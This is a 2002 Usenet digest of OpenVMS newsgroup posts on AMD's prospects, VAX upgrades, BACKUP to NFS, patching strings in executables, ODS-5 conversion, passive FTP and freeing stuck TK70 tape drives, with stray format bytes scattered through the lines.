(with all the engineeringoD 	research and development that goes into it), build around Hammer asC 	AMD teeters on going out of business.  Their position is impactinge8 	development plans I am sure.  Secondly, that AMD would A 	actually return to profitability.  Certainly not in 2003.  Yeah,e= 	maybe somebody buys AMD for the challenge.  Try getting that(< 	past a BOD in tight times.  AMD is poison.  More likely Sun> 	gets bought than AMD.  Least Sun has something to offer other: 	than a promise.  Even when/if Hammer (server version) is A 	successful, the numbers don't add up.  Hammer will sell in smallnC 	quantities.  That is why the article glosses over Xeon and doesn'toC 	focus on Hammer (other as a generic catchall where it is mentioneduG 	in the context of Clahammer discussions).   Clawhammer?  It better be rD 	dirt cheap (as AMD processors are) or it doesn't stand a chance andD 	now will be competing with Prescott so a whole different ball game.  ? 	Besides, wouldn't Wall Street be anticipating all this and AMDn  	stock climbing in anticipation?   > J > All they need is an angel less stupid than Compaq was with DEC's assets. > That's not asking much.P >   @ 	Actually... purchasing AMD doesn't make a whole lot of business3 	sense.  See the Business Week article for details.a   				Rob    ------------------------------  # Date: Wed, 25 Sep 2002 15:34:14 GMT 5 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com>r Subject: Re: AMD in troublej2 Message-ID: <WHkk9.23$lr4.423004@news.cpqcorp.net>   Rob Young wrote in message ...J >In article <Sfjk9.270640$z91.11692150@bin3.nnrp.aus1.giganews.com>, "Bill& Todd" <billtodd@metrocast.net> writes: >>; >> "Rob Young" <young_r@encompasserve.org> wrote in message 0 >> news:$0OODMny1B4G@eisner.encompasserve.org...G >>> In article <0Ddk9.271086$5r1.11544593@bin5.nnrp.aus1.giganews.com>,d "Billu) >> Todd" <billtodd@metrocast.net> writes:  >>> >e >>> >bH >>> > There are actually rather more ways to slice it than you appear toK >>> > recognize.  AMD stock is now so far under book value that it makes ito ai >> veryi >>> > attractive buy.h >>> >x  L Although I avoid Bill Todd posts... the only likely purchaser I can think ofK is Sun, and they don't seem to be in a very good position to do it, as theyr are also around book value too.n   ------------------------------  # Date: Wed, 25 Sep 2002 20:26:40 GMTv# From: "John Smith" <a@nonymous.com>l Subject: Re: AMD in trouble H Message-ID: <4_ok9.51270$q41.28790@news02.bloor.is.net.cable.rogers.com>  8 "Rob Young" <young_r@encompasserve.org> wrote in message- news:BQs+8dvvej0W@eisner.encompasserve.org...a >rA > Well that's nice.  With several built in assumptions.  Assuming > > an OEM would want to depend on AMD (with all the engineeringE > research and development that goes into it), build around Hammer asyD > AMD teeters on going out of business.  Their position is impacting8 > development plans I am sure.  Secondly, that AMD wouldB > actually return to profitability.  Certainly not in 2003.  Yeah,> > maybe somebody buys AMD for the challenge.  Try getting that= > past a BOD in tight times.  AMD is poison.  More likely Suni? > gets bought than AMD.  Least Sun has something to offer other : > than a promise.  Even when/if Hammer (server version) isB > successful, the numbers don't add up.  Hammer will sell in smallD > quantities.  That is why the article glosses over Xeon and doesn'tD > focus on Hammer (other as a generic catchall where it is mentionedG > in the context of Clahammer discussions).   Clawhammer?  It better be E > dirt cheap (as AMD processors are) or it doesn't stand a chance andhE > now will be competing with Prescott so a whole different ball game.d  J Wait 'til AMD goes under. Then watch as the price of Intel chips ceases toF go down. It'll start to make those 'expensive' Alpha cpu's seem cheap.   ------------------------------  % Date: Wed, 25 Sep 2002 16:05:46 -0400:5 From: "Sue Skonetski" <susan.skonetski@hp.nospam.com> = Subject: Announcment from NEMONIX thought you might like thiso* Message-ID: <amt4v7$o5a$1@web1.cup.hp.com>  F NEMONIX Engineering Inc. is pleased to announce that  our long awaitedK NSX7900 CPU upgrade, is now available for immediate shipping. This VAX 7000tL and 10000 series performance enhancement is for all models, and upgrades VAXJ 7000 series and 10000 systems with up to a 33% improvement in performance.  K NEMONIX Engineering Inc. is the worlds leading supplier of high performanceaI VAX CPU, Ethernet, and SCSI upgrades. More information can be obtained atoJ our website http://www.nemonixinc.com , by calling us at 1-800-435-8650 orG stop by our booth in the HP Pavilion at HP ETS in St. Louis October 6th  through 11th."   ------------------------------  % Date: Wed, 25 Sep 2002 17:10:37 -0400.- From: JF Mezei <jfmezei.spamnot@videotron.ca>lA Subject: Re: Announcment from NEMONIX thought you might like thisl, Message-ID: <3D922640.4CF4E37E@videotron.ca>   Sue Skonetski wrote: > H > NEMONIX Engineering Inc. is pleased to announce that  our long awaitedM > NSX7900 CPU upgrade, is now available for immediate shipping. This VAX 7000eN > and 10000 series performance enhancement is for all models, and upgrades VAXL > 7000 series and 10000 systems with up to a 33% improvement in performance.  : Will it fit on my Microvax II ???? :-) :-) :-) :-) :-) :-)   ------------------------------    Date: 26 Sep 2002 07:13:01 +0800, From: Paul Repacholi <prep@prep.synonet.com>4 Subject: Re: BACKUP to saveset on NFS mounted volume- Message-ID: <87k7l9hddu.fsf@prep.synonet.com>   ' Alan Greig <a.greig@virgin.net> writes:o  @ > When atempting a BACKUP under Alpha VMS 7.2-1 (all appropriateC > patches installed) and TCPIP 5.0A ECO 2 to an NFS mounted volume,tE > the operation completes with no errors but cannot be read back. ThelB > BACKUP command fails with excessive crc errors. If the backup is+ > "/NOCRC" then you *can* read the saveset.'  h@ > Should this be considered a bug or a feature? I realise BACKUP? > operations to an NFS volume are not formally supported but...t  B I guess that will depend on what the data looks like. I suspect itB will have a slight resemblance to what was origanally on the disk.   --  < Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.0@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------    Date: 25 Sep 2002 06:12:15 -0700% From: Alan Greig <a.greig@virgin.net>l0 Subject: BACKUP to saveset on NFS mounted volume) Message-ID: <amscnf01q6t@drn.newsguy.com>n  F When atempting a BACKUP under Alpha VMS 7.2-1 (all appropriate patchesG installed) and TCPIP 5.0A ECO 2 to an NFS mounted volume, the operationdO completes with no errors but cannot be read back. The BACKUP command fails withtP excessive crc errors. If the backup is "/NOCRC" then you *can* read the saveset.  O Should this be considered a bug or a feature? I realise BACKUP operations to ana, NFS volume are not formally supported but...  P I've just received 7.3-1 so I'll maybe try that with TCPIP 5.3 on a test machineI when I get the chance. Anyone else fancy trying and tell me what happens?o   ------------------------------  % Date: Wed, 25 Sep 2002 19:57:47 -0400t- From: JF Mezei <jfmezei.spamnot@videotron.ca> 4 Subject: Re: BACKUP to saveset on NFS mounted volume, Message-ID: <3D924D79.F4DC8995@videotron.ca>  ) > Alan Greig <a.greig@virgin.net> writes: D > > BACKUP command fails with excessive crc errors. If the backup is- > > "/NOCRC" then you *can* read the saveset.e  F Check the TCPIP management manual for the NFS stuff. There are variousM parameters you cansetup to determine the remote and local format of data whentG it is exchanged. It is fuzzy in my head now. I think that NFS on VMS isrM capable of building two files on the target NFS drive with the RMS attributes:L stored in one "control" file and the actual data in the other. But I *think*, you need to set it up for that type of file.   ------------------------------  % Date: Wed, 25 Sep 2002 14:08:26 -0400e- From: JF Mezei <jfmezei.spamnot@videotron.ca>m* Subject: Re: Changing Strings in EXE files, Message-ID: <3D91FB98.88B9201F@videotron.ca>   Jim Agnew wrote: > , > hhmm... now just how much disk DOES google$ > have??????????????????????????????  G Think Star Trek. On the enterprise, they can call up all of the world'siJ knowledge within seconds. Sounds like they are running Google on the ship.   ------------------------------  % Date: Wed, 25 Sep 2002 10:25:10 +0100 ( From: Nic Clews <sendspamhere@127.0.0.1>* Subject: Re: Changing Strings in EXE files) Message-ID: <3D9180F6.E5FA2B36@127.0.0.1>    briggs@encompasserve.org wrote:y > M > Please disregard the paranoia that you are picking up.  Patching the string K > will work just fine.  I have done that sort of thing several times in theoJ > past.  Doing it with different length strings would have been asking for: > trouble, but blank-filling will cover that issue nicely.  F So there you are, sat on the runway in a typical fly by wire aircraft,G then someone tells you they patched the code, hopefully not interfering6F with anything else, making allegedly a cosmetic change, and you're off on a 9 hour flight.-  E What concerns me, particularly, is that one of the quoted reasons foreE not wanting to go through the whole recompile and link thing, is thatP the software has to be tested.  H So, what you're saying is, you're not going to perform extensive testing after this 'patch'.   E I would suggest to Lou that it is even more critical that the testing E phase is employed, poking a few bytes here and there. Did someone say  change control?   E I hope for your sake nothing untoward happens (you say you've done it F and it "works"), but ensure that if the brown smelly stuff does impactD the whirly air mover, that you do not attempt to blame the operatingE system. Just because it lets you do something does not mean it is the  right way to do something.  C Of course, when an eventual recompile occurs, one assumes that yourt2 procedure is reapplied, so you have documented it.  B And when you move to Itanium, when the images are passed through aC binary translator, we'll assume that it won't blow up because a fewHF bytes are amiss here and there. You can't know that now, you might not even be there.  D Never mind, Google keeps the messages, so if something should happenF sufficient that someone wishes to fully research, they'll discover theF answer one way or another. Paranoia? Are you certain there's something you've not overlooked?   -- 0? Regards, Nic Clews a.k.a. Mr. CP Charges, CSC Computer Sciencesc nclews at csc dot comn   ------------------------------    Date: 25 Sep 2002 07:37:06 -0600 From: briggs@encompasserve.org* Subject: Re: Changing Strings in EXE files3 Message-ID: <b4d+PjfEPIlE@eisner.encompasserve.org>   W In article <up1lcepd8u5o4e@corp.supernews.com>, "Lou Solomon" <lny98@yahoo.com> writes:t > John:v > ' > It looks like it worked like a charm.   F One thing I didn't mention yesterday -- you may have some company name0 strings that are broken across block boundaries.  = So in addition to searching for the old name in its entirety:     $ SEARCH *.EXE "XYZ corporation"   You may also want to search fore  ' $ SEARCH *.EXE "XYZ corp" /WINDOW=(0,1)d' $ SEARCH *.EXE "poration" /WINDOW=(1,0)h    E Still, the acid test is whether it works.  And it seems that it does.i   	John Briggs   ------------------------------  % Date: Wed, 25 Sep 2002 14:57:47 -0400o! From: Jim Agnew <jpagnew@vcu.edu>r* Subject: Re: Changing Strings in EXE files' Message-ID: <3D92072B.4B639B88@vcu.edu>r  # Logical.  Flawlessly logical.   ;-)a   JF Mezei wrote:v >  > Jim Agnew wrote: > >j. > > hhmm... now just how much disk DOES google& > > have?????????????????????????????? > I > Think Star Trek. On the enterprise, they can call up all of the world'shL > knowledge within seconds. Sounds like they are running Google on the ship.   ------------------------------   Date: 25 Sep 2002 19:13 CDTe' From: carl@gerg.tamu.edu (Carl Perkins)r* Subject: Re: Changing Strings in EXE files- Message-ID: <25SEP200219130455@gerg.tamu.edu>e  + "Mark E. Levy" <mark@openvms.com> writes...e6 }"Nic Clews" <sendspamhere@127.0.0.1> wrote in message$ }news:3D9180F6.E5FA2B36@127.0.0.1..." }> briggs@encompasserve.org wrote: }....lF }> Of course, when an eventual recompile occurs, one assumes that your5 }> procedure is reapplied, so you have documented it.n } I }One would hope that the source would also be changed so that it won't bee, }necessary to patch the .EXEs in the future.  F If the source is also changed, then all that testing that he is tryingD to avoid has to be done. Avoiding that was aparently the main reason2 for changing the executable instead of the source.  F If you are going to change the source anyway (which seems inevitable),= you may as well get it over with and get the testing started.e  D Running untested executables in your production environment does notD seem to me to be a good idea when there are testing proceedures thatF have been specified for the software. In fact, I suspect that it couldH be considred to be grounds for dismissal. They have a testing proceedureE which you are required to follow. You do not follow it, instead doingnG something to avoid it. You get fired. This is a fairly straightforward, C and unsurprising, chain of events. You may be able to escape such anC fate if you are doing it because your boss told you that you shouldsD and you pointed out that this was bypassing any mandated testing andC he said to do it anyway (in such a case it should be your boss thatnD gets fired, if anyone, but it doesn't always work out that way - I'd suggest getting it in writing).e   --- Carl   ------------------------------  % Date: Wed, 25 Sep 2002 21:30:33 -04009; From: "Brian Tillman" <tillman_brian@notnoone.notnohow.com>l* Subject: Re: Changing Strings in EXE files$ Message-ID: <3d926382$1@news.si.com>  J >Note that we would also like to do this without recompiling the programs, asJ >this affects a number of programs and  recompiling would probably requireG >retesting based.  Yes, in my gut I believe patching the image would beu. >'safer' than recompiling the whole enchilada.  I If you have a requirement for testing in the event of a change, modifyingiE the executable _without_ modifying the source will REALLY set off theeJ auditors bells and could shut you down in some enviroments.  Bad BAD idea. --A Brian Tillman                   Internet: tillman_brian at si.comeA Smiths Aerospace                          tillman at swdev.si.com = 3290 Patterson Ave. SE, MS      Addresses modified to preventm< Grand Rapids, MI 49512-1991     SPAM.  Replace "at" with "@"8        This opinion doesn't represent that of my company   ------------------------------   Date: 25 Sep 2002 20:10 CDTr' From: carl@gerg.tamu.edu (Carl Perkins)q* Subject: Re: Changing Strings in EXE files- Message-ID: <25SEP200220105628@gerg.tamu.edu>a  A In article <3D91B825.CF770D6A@vcu.edu>, jpagnew@vcu.edu writes...s+ }hhmm... now just how much disk DOES google # }have??????????????????????????????  }  }jim   Lots.t  3 But perhaps not as much as you might think they do.e  E They don't seem to say what their total capacity is, but you can finde> blurbs like this one (from their "technical highlights" page):  =   Integrating more than 700 million Usenet messages, coveringuB   20 years of human conversation (over a terabyte of data), into a4   database that can be searched at lightning speed.   C From other documents, it looks like they are compressing their dataiF using zlib for an average of 3:1 compression (they tried glib, I thinkD it was, and it compressed more, 4:1, but was deemed to be too slow).  @ So it is "over a terabyte" of Usenet data, but they are probablyB compressing it at 3:1. In theory, the data could therefore all fitC in less than 500GB (which, these days, you could do with 4 drives -8? and very soon it will fit onto 2). This assumes that by "over akD terabyte" they mean "a little over" instead of "a lot over", if theyB mean "a lot over" then you would need more. The indexing that theyA use for web pages, and I assume they use a similar scheme for the C usenet posts, also seems to occupy an amount of space roughly equal A to the size of the data, so you'd double it for that. You'll alsoE@ want more (multiple copies of the whole thing, possibly) in any G event just to allow faster searching, not to mention allowing continuednC access in the event of a drive failure. Also some more to allow forpD future growth. A single copy of the whole thing can probably fit theC data and index into under a terrabyte of storage. ("Now you too cannE have the usenet archives, call now! It comes in a handy crate holdingeH 200 DVDs of the 4.6GB variety. It will cost a bit extra for the optionalC array of 218 DVD drives to allow searching without large quantitiesd of disk swapping.")T  C Their web indexing is probably bigger than their Usenet indexing by C a fairly large amount. Based off of simple extrapolation of figures C given in an old document that explained their system back when theyrA had under 100 million web pages indexed (it's over 2 billion now)y@ indicates that it is probably something near 3 terabytes (beforeE compression) if the average page size is the same (it probably isn't,a? particulary with the advent of PDF files all over the place - It@ expect it could easily be twice this size or more). So 1TB after? compression plus another TB or so for the indexing puts them at.@ about 2TB for their web info (times any increase in average page= size, or possibly, but unlikely, decrease). Throw in more for C replication and redundancy and expansion room, and you could easilyeB be over 5TB (if there is much redundancy, or the average page is a= lot bigger than it was, it could be much more than that). Onea> interesting thing is that their indexing uses (or used to use) ISAM files.   B They also index images and news these days. There is no indicationB of how much space that takes up - the image data may be covered inC their web page data already, and the news data is likely to be veryv  small in comparison to the rest.  G Oddly enough, you don't get much useful information about the technicaliG aspects of Google by doing a search using Google. Once upon a time theyb< had techincal information available, but that was years ago.  E The "Technical Highlights" page has some more semi-interesting stuff:.  + http://www.google.com/press/highlights.htmlH   --- Carl   ------------------------------  % Date: Wed, 25 Sep 2002 21:37:48 -0400a; From: "Brian Tillman" <tillman_brian@notnoone.notnohow.com>a* Subject: Re: Changing Strings in EXE files$ Message-ID: <3d926536$1@news.si.com>  B >But changing a string in an executable does not change its logic.  G JF, I guess you've never read the security vulnerabilities about bufferoJ overruns in Unix and Windows, then, if you think changing a string doesn't change program logic.a --A Brian Tillman                   Internet: tillman_brian at si.comRA Smiths Aerospace                          tillman at swdev.si.com,= 3290 Patterson Ave. SE, MS      Addresses modified to preventc< Grand Rapids, MI 49512-1991     SPAM.  Replace "at" with "@"8        This opinion doesn't represent that of my company   ------------------------------  % Date: Wed, 25 Sep 2002 21:36:13 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>n* Subject: Re: Changing Strings in EXE files, Message-ID: <3D926485.C8C581B0@videotron.ca>   Carl Perkins wrote:aH > If the source is also changed, then all that testing that he is tryingF > to avoid has to be done. Avoiding that was aparently the main reason4 > for changing the executable instead of the source.  N But changing a string in an executable does not change its logic. Changing theL source code allows the person to change the logic. (ok, technically, one canP change the logic on a vax executable, but not very viable on a alpha executable)  K You can change the code now, but delay the compilation/testing until a real0 change is needed..   ------------------------------   Date: 25 Sep 2002 21:25 CDT ' From: carl@gerg.tamu.edu (Carl Perkins)p* Subject: Re: Changing Strings in EXE files- Message-ID: <25SEP200221254612@gerg.tamu.edu>)  1 JF Mezei <jfmezei.spamnot@videotron.ca> writes...o }Carl Perkins wrote:I }> If the source is also changed, then all that testing that he is tryingoG }> to avoid has to be done. Avoiding that was aparently the main reason 5 }> for changing the executable instead of the source.e } O }But changing a string in an executable does not change its logic. Changing theHM }source code allows the person to change the logic. (ok, technically, one can:Q }change the logic on a vax executable, but not very viable on a alpha executable)e } L }You can change the code now, but delay the compilation/testing until a real }change is needed.  G It is entirely possible to accidentally change something when editing aTG file. I can only guess how many times I have done this over the years -2C at least dozens, probably hundreds. Be very careful. I'd suggest at@F least doing a DIFF on them and sifting through the output to make sure@ the only changes you made are the changes you planned on making.  H One stray keypress while in the wrong location and you have just changesI the functionality of the program (I expect that a very high percentage of J such changes will make it keel over). It may be in some routine that isn'tL called very often and therefore didn't show up in whatever testing was done.  G And as I indicated, bypassing the testing could also get someone fired.-I Regardless of whether or not it actually works the way it is supposed to,n1 the "getting fired" thing may make it a bad plan.s   --- Carl   ------------------------------  # Date: Thu, 26 Sep 2002 02:17:24 GMTe& From: John Reagan <john.reagan@hp.com>* Subject: Re: Changing Strings in EXE files2 Message-ID: <U6uk9.43$qR4.990252@news.cpqcorp.net>   Brian Tillman wrote:C >>But changing a string in an executable does not change its logic.o >  > I > JF, I guess you've never read the security vulnerabilities about buffermL > overruns in Unix and Windows, then, if you think changing a string doesn't > change program logic.-  D We're talking about changing static strings in an image.  We're not F changing their lengths.  If the program didn't have an overrun before " the edit, it won't after the edit.  C Now, if the program examined the strings and operated on them then a/ changing the strings would change its behavior.N  @ Of course, do something like editing an .EXE with any tool is a ) dangerous activity if you aren't careful.e     -- u John Reagan ' Compaq Pascal/{A|I}MACRO Project Leader- Hewlett-Packard Company    ------------------------------   Date: 25 Sep 2002 19:22:57 GMT# From: hoff@hp.nospam (Hoff Hoffman)e( Subject: Re: Convert from ODS-2 to ODS-5* Message-ID: <amt2eh$llc$1@web1.cup.hp.com>  h In article <RAZj9.6$z26.17395@news.uswest.net>, "Michael D. Ober" <obermd.@.alum.mit.edu.nospam> writes:J :What are the benefits and gotcha's of converting from ODS-2 to ODS-5 on aK :VMS 7.3-1 system with Samba VMS 2.2.4 running.  Also, how is it done.  ThenK :VMS 7.3-1 upgrade offered to do this for our system drive, but not for oure! :data drives, so we didn't do it.0  G   ODS-5 gets longer filenames, more characters permitted in names, etc.6G   Please check the ODS-5 (EFS) manual in the documentation set for moreoI   details.  Others have provided the SET VOLUME "conversion" command for dK   switching to ODS-5 (very quick), the other part of V7.3-1 is the optionalcK   conversion to hardlinks via SET VOLUME /VOLUME_CHARACTERISTICS=HARDLINKS,dI   followed by an ANALYZE/DISK/REPAIR.  This repair pass can take several lG   minutes to most of an hour, depending on the numbers of files presentb/   and on the current disk volume fragmentation.-  E   Applications may or may not use ODS-5 specifications, and there are7I   certainly applications around that will assume or require ODS-2 syntax.qE   The EFS manual has discussions of this, as well as discussions thatO1   will be of interest to application programmers.n  E   I do not know of Samba is (or is not) cogniscent of ODS-5 features.o     Documentation:&     http://www.openvms.compaq.com/doc/  N  ---------------------------- #include <rtfaq.h> -----------------------------J       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.comN  --------------------------- pure personal opinion ---------------------------E         Hoff (Stephen) Hoffman   OpenVMS Engineering   hoff[at]hp.comu   ------------------------------  # Date: Wed, 25 Sep 2002 21:28:05 GMT@" From: Guy Peleg <guy.peleg@hp.com>" Subject: Re: COPY/FTP passive mode& Message-ID: <3D92287B.CF144B90@hp.com>  B The support for passive copy was in TCPIP for a long time. We haveD updated COPY.CLD and DIRECTORY.CLD to support it for V7.3. Since the, update had been made after V7.3 was shipped, it only showed in V7.3-1.e  A What I'm trying to say is please log a service call in your local + support center and ask to escelate the calltE to OpenVMS engineering. I will provide you with the required files toi run it on V7.3.o   Regards,  	 Guy Peleg  OpenVMS Engineering        "Stanley F. Quayle" wrote:  D > I have an application which uses COPY/FTP to send files to another > systemD > on the Internet.  Due to a firewall change, I must now use passive > mode > for all transfers. >tF > Is it possible to force passive transfers on a user or system basis? >gD > I'm currently using VMS 7.3 and UCX 5.1 on both VAX and Alpha (and > could upgrade to& > UCX 5.3 when the latest CD arrives). >h > --Stan Quaylep > Quayle Consulting Inc. >  > ----------E > Stanley F. Quayle, P.E. N8SQ  +1 614-868-1363  Fax: +1 614 868-1671 3 > 8572 North Spring Ct. NW, Pickerington, OH  43147'> > Preferred address:  stan@stanq.com      http://www.stanq.com   ------------------------------  # Date: Thu, 26 Sep 2002 01:30:24 GMTn1 From: "David J. Dachtera" <djesys.nospam@fsi.net>i" Subject: Re: COPY/FTP passive mode' Message-ID: <3D9268EB.BCF58E69@fsi.net>a   Guy Peleg wrote: > D > The support for passive copy was in TCPIP for a long time. We haveF > updated COPY.CLD and DIRECTORY.CLD to support it for V7.3. Since the. > update had been made after V7.3 was shipped, > it only showed in V7.3-1.3  F It's in the command tables, but it's not documented in HELP or the DCL Dictionary.a  C > What I'm trying to say is please log a service call in your localt- > support center and ask to escelate the callrG > to OpenVMS engineering. I will provide you with the required files tol > run it on V7.3.   / So, it's broken in the V7.3 release as shipped?c   -- w David J. Dachterav dba DJE Systemss http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/l   ------------------------------  # Date: Thu, 26 Sep 2002 01:36:32 GMTg- From: "John E. Malmberg" <wb8tyw@qsl.network>i& Subject: Re: Deleting expired licenses; Message-ID: <Awtk9.2558$m92.582359@news1.news.adelphia.net>u   Mark Buda wrote: > " > Did you think of trying to do a: >  > $ lic list /term[=date]/bef  > @ > to get all licenses that have a termination date before today?  = I confess ignorance of that qualifier to the LICENSE command.m  8 Next time I update the procedure I will make the change.   -Johnn wb8tyw@qsl.network Personal Opinion Onlye   ------------------------------   Date: 26 Sep 02 06:13:32 +0200) From: p_sture@elias.decus.ch (Paul Sture)s9 Subject: Re: Deleting expired licenses - irrelevant aside-) Message-ID: <FLrX4KAQ1nm4@elias.decus.ch>p  U In article <amsgej$2bj$1@license1.unx.sas.com>, "Tom Cole" <tom.cole@sas.com> writes:rL > Idle aside, I misread the example below 'cuz I was in a hurry and tried it> > on my V7.2-2 system as shown below with the resulting error: >  >    AXP> LICE LIST /DATEe& >     %LIB-F-BADBLOSIZ, bad block size > I > Anyone know what the /DATE qualifier does?  It's not in my online help;>D > perhaps it's just a deprecated (and now apparantly non-functional)! > qualifier, but I was curious...w > - > I suppose at best this is a minor bug... :)e >y$ There is no such qualifier as /DATE.   What you are coming across is:   LICENSEv     LIST  
     /DATABASEy             /DATABASE=filespec  G        Specifies the location of the License Database. The default filetF        specification is defined by the logical name LMF$LICENSE, whichD        points to SYS$COMMON:[SYSEXE]LMF$LICENSE.LDB on an unmodifiedE        OpenVMS system. Use this optional qualifier only if you do notl:        use the default License Database name and location.      m        a > A > "Mark Buda" <buda@tabasco.zko.dec.no.spam.com> wrote in message-( > news:amrk1u$di9c$1@lead.zk3.dec.com...
 > [elided]# >> Did you think of trying to do a:l >> >> $ lic list /term[=date]/bef >  >  >  -- e __
 Paul Sture Switzerland1   ------------------------------   Date: 25 Sep 2002 19:58:47 GMT- From: hoffman@xdelta.hp.nospam (Hoff Hoffman)@ Subject: Re: Differential SCSI* Message-ID: <amt4hn$mrf$1@web1.cup.hp.com>  ` In article <amq1rh$879d0$1@ID-135708.news.dfncis.de>, bill@cs.uofs.edu (Bill Gunshannon) writes:E :Is there any chance anyone here has a DWZZA-AA or DWZZA-VA that theycE :want/need to get rid of??  I have a BA350 box that would work ratheriC :nicely hooked up to one of my PDP-11's except for the differentialiC :SCSI controller in it.  :-)  I am assuming that most people are nonB :longer running differential SCSI, especially considering how rareH :the drives seem to be.  Surely someone has one of the signal convertors% :just gathering dust on their shelf!!t  F   The BA356 personality module is an example of how this configurationE   is usually handled -- with the differential module installed in thecG   BA356 slot, the shelf (still) uses standard SCSI StorageWorks bricks.eF   (The non-differential module is the other common option, of course.)  H   The BA356 also provides the cooling necessary for the faster spindles,F   something that would require a fan upgrade within many of the up-revF   BA350 boxes.  (Down-rev BA350 boxes cannot support the fan upgrade.)    N  ---------------------------- #include <rtfaq.h> -----------------------------J       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.comN  --------------------------- pure personal opinion ---------------------------E         Hoff (Stephen) Hoffman   OpenVMS Engineering   hoff[at]hp.com:   ------------------------------  # Date: Wed, 25 Sep 2002 19:09:49 GMTi From: system@SendSpamHere.ORGvY Subject: Re: ETS is only a couple of weeks away - Leper colony - how many of you are atteg0 Message-ID: <00A1482E.0E4FE255@SendSpamHere.ORG>  j In article <uvmk9.32$dw4.540736@news.cpqcorp.net>, "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> writes:
 >{...snip...}IJ >A close place to get reasonable beer while in the Nashua area is Martha'sM >Exchange in downtown.  But there is also the Nuttfield brewery in Derry, thesL >Portsmouth Brewery (Redhook), and the big time Boston Beer Company and home< >of Sam Adams in Boston.  Plus a few others like Smuttynose.  J I went to Martha's last time I was visiting at Spit Brook road.  It wasn't
 too bad IIRC.e --O VAXman- OpenVMS APE certification number: AAA-0001     VAXman(at)TMESIS(dot)COMs            o5   "Well my son, life is like a beanstalk, isn't it?" a   ------------------------------    Date: 26 Sep 2002 03:05:51 +0800, From: Paul Repacholi <prep@prep.synonet.com>2 Subject: Re: How to defrag a shadowed system disk?- Message-ID: <8765wtj3e8.fsf@prep.synonet.com>r  + "Steven Xie" <r33300@email.mot.com> writes:g  < > I have an alpha system (ES40, V7.2-1) with shadowed systemD > disk. After using it for about three years we found that there areD > lot of fragment inside the system disk. Normally we deal with thisC > kind of case is we do a image backup from this fragmented disk tooC > tape and then copy it back. But we have never done it on shadowedeD > disk before, and we have never done it on system disk either. Do IF > need break the shadow set before I do the image backup, or mount/forF > good for shadow set? Does anybody has this experience can share with > me?i  @ Do a SHOW DEV <dsannn>/WINDOW and look at the list. Unless there? are many that do not show `1C 80' for exes and sharables, don'tr@ worry too much. Running DFG will clean up most of the cruft. Not? that having fraged .LOG files filling up all the little bits of & free space is not a totally bad thing.   --  < Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.m@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  % Date: Wed, 25 Sep 2002 17:30:34 -0400r- From: JF Mezei <jfmezei.spamnot@videotron.ca> / Subject: Re: How to eject a TK70 tape manually?e, Message-ID: <3D922AEC.57142E83@videotron.ca>   Dennis Grevenstein wrote:e3 > I inserted a tape in both of them, but they don'ts > want to eject it anymore.w7 > They both try to read it and then after some time allg& > lights on the drives start to flash.  M I reckon you have dirty heads and/or bad tape.  There is no magic button. ButhK if you slide the TK70 drive out as much as it can,  you'll see the latch onnJ the right side. On this latch is some small switch with 3 connectors but 2N wires. It can "manually" be moved outwards which unlocks the handle and allows the catridge to pop out.  K HOWEVER, this will not necessarily mean that the tape leader will be tuckedoR into the cartridge and it may still be wound to some extent on the internal spool.  M If the leader is just attched to the "capture" then as you pull the cartridge$M out, you can probably separate the two. But if the tape is still inside, then>K you'll have to take the tape drive out , remove the cover and manually wind>! the tape back into the cartridge.e  M Another option you have is to pull the drive out of the bay, remove the power>@ and put the power back on. It *may* autorewind and clear itself.  : > Great. These things really suck. TK70 are the worst tape> > drives ever invented by any life form in the known universe.   TK50 was worse.tH Besides, TK70s are just older DLT drives... That is the way I see it :-)   ------------------------------  % Date: Wed, 25 Sep 2002 22:44:53 +0200 . From: Dennis Grevenstein <dennis@pcde.inka.de>+ Subject: How to eject a TK70 tape manually?t+ Message-ID: <3D922045.DC2F5AE@pcde.inka.de>e   Hi,2  - I've got a problem with two TK70 tape drives.o1 I inserted a tape in both of them, but they don't- want to eject it anymore.n5 They both try to read it and then after some time allu$ lights on the drives start to flash.3 That's all. I read the section about TK50 in an oldr> hardware manual and it says" "call your service representativ"8 Great. These things really suck. TK70 are the worst tape< drives ever invented by any life form in the known universe.   TIAn Dennis   --   Das Fischstaebchen:o  =   Alle Geschoepfe Gottes vereint unter einer einzigen Pannade    ------------------------------  # Date: Thu, 26 Sep 2002 00:38:31 GMT # From: ualski <ualski@earthlink.net>b/ Subject: Re: How to eject a TK70 tape manually?n- Message-ID: <3D92571C.EC376B0E@earthlink.net>i  & Did you try cycling the power to them?  = also, this applies to the TK50 and maybe to the TK70 too even ; though the buttons are a little different: <assume the TK50u? refuses to let you lift the lever, and the red button is in thea> out position> - Press the red button twice (that's one cycle),= repeat four times.   If that doesn't work, they really aren'tt9 too hard to disassemble and the latch solenoid is easy tot spot.    Hope this helps... -- Aaron Sliwinski     Dennis Grevenstein wrote:  >  > Hi,  > / > I've got a problem with two TK70 tape drives.e3 > I inserted a tape in both of them, but they don'tc > want to eject it anymore.o7 > They both try to read it and then after some time alls& > lights on the drives start to flash.5 > That's all. I read the section about TK50 in an oldS@ > hardware manual and it says" "call your service representativ": > Great. These things really suck. TK70 are the worst tape> > drives ever invented by any life form in the known universe. >  > TIAu > Dennis >  > -- > Das Fischstaebchen:r > ? >   Alle Geschoepfe Gottes vereint unter einer einzigen Pannade0   ------------------------------  % Date: Wed, 25 Sep 2002 21:49:45 -0400s; From: "Brian Tillman" <tillman_brian@notnoone.notnohow.com>r/ Subject: Re: How to eject a TK70 tape manually?l$ Message-ID: <3d926803$1@news.si.com>  6 >They both try to read it and then after some time all% >lights on the drives start to flash.w  I I've had this happen when the device that hooks the tape leaders has comeeF loose or the leaders themselves have broken.  Remove the TK70 from theG chassis, open the metal housing.  You'll be able to press a solenoid tomK allow the door to open and you'll be able to reattach the leader grabber toO the takeup spindle.  --A Brian Tillman                   Internet: tillman_brian at si.comkA Smiths Aerospace                          tillman at 